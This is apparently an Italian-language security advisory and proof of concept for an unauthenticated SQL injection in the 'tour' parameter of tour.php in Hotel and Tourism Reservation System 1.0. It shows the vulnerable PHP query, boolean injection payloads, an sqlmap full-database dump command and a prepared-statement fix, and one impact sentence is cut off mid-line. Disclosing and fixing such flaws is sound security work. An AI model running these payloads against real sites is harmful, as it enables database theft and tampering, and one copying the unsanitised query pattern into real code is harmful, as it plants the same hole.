
Prova di concetto per SQL injection non autenticata in Hotel and Tourism Reservation System 1.0, che dimostra l'estrazione del database tramite il parametro tour.
| Campo | Dettagli |
|---|
| Titolo | Hotel and Tourism Reservation System - SQL Injection via parametro GET tour |
| Vendor | code-projects.org |
| Vendor URL | https://code-projects.org/hotel-and-tourism-reservation-in-php-with-source-code/ |
| Prodotto | Hotel and Tourism Reservation System |
| Versione | 1.0 |
| Tipo di Vulnerabilità | SQL Injection |
| CWE | CWE-89 |
| Punteggio CVSS | 9.8 (Critico) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| File Affetto | /ht/tour.php |
| Parametro Affetto | tour (GET) |
| Autenticazione Richiesta | No |
| Sfruttabile da Remoto | Sì |
| Ricercatore | Syed Imad Uddin Alvi |
Una vulnerabilità critica di SQL Injection esiste nel parametro GET tour di tour.php in Hotel and Tourism Reservation System 1.0. Il parametro viene passato direttamente in una query SQL grezza senza alcuna sanificazione, prepared statements o validazione dell'input. Un attaccante remoto non autenticato può manipolare la query per estrarre, modificare o eliminare qualsiasi dato nel database. La vulnerabilità è stata confermata tramite un dump completo del database utilizzando sqlmap.
Codice vulnerabile in tour.php:
if(isset($_GET['tour'])) {
$tourID = $_GET['tour'];
$select = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
$s = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
$data = mysqli_fetch_assoc($s);
$tourID viene preso direttamente da $_GET['tour'] e interpolato nella query SQL senza alcuna sanificazione.
Configurazione: Installa Hotel and Tourism Reservation System 1.0 su XAMPP e accedi a http://<target>/ht/
Passo 1 — Visita una qualsiasi pagina tour come utente non autenticato:
http://<target>/ht/tour.php?tour=4

Passo 2 — Inietta un apice singolo per rompere la query SQL e confermare la vulnerabilità:
http://<target>/ht/tour.php?tour='
Risultato: Viene lanciato un errore fatale MySQL — confermando che l'input non sanificato raggiunge la query SQL.

Passo 3 — Conferma la SQLi con un payload basato su booleani:
http://<target>/ht/tour.php?tour=' or 1=1 -- -
Risultato: La pagina carica normalmente con i dati del tour — injection booleana riuscita.

Passo 4 — Dump dell'intero database usando sqlmap:
sqlmap -r sqli.txt --dump --batch
Risultato: sqlmap scarica con successo tutte le tabelle in hotel_db inclusi users, rooms, tour_reserves, gallery — compromissione completa del database confermata.

Un attaccante remoto non autenticato può:
INTO OUTFILE se i privilegi sui file sono concessiIl parametro GET tour viene interpolato direttamente in una query SQL grezza senza l'uso di prepared statements, query parametrizzate o sanificazione dell'input:
// VULNERABLE
$tourID = $_GET['tour'];
$select = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
// FIXED — use prepared statements
$stmt = $db->prepare("SELECT * FROM tourism WHERE id = ?");
$stmt->bind_param("i", $_GET['tour']);
$stmt->execute();
Syed Imad Uddin Alvi — Ricercatore di Sicurezza Indipendente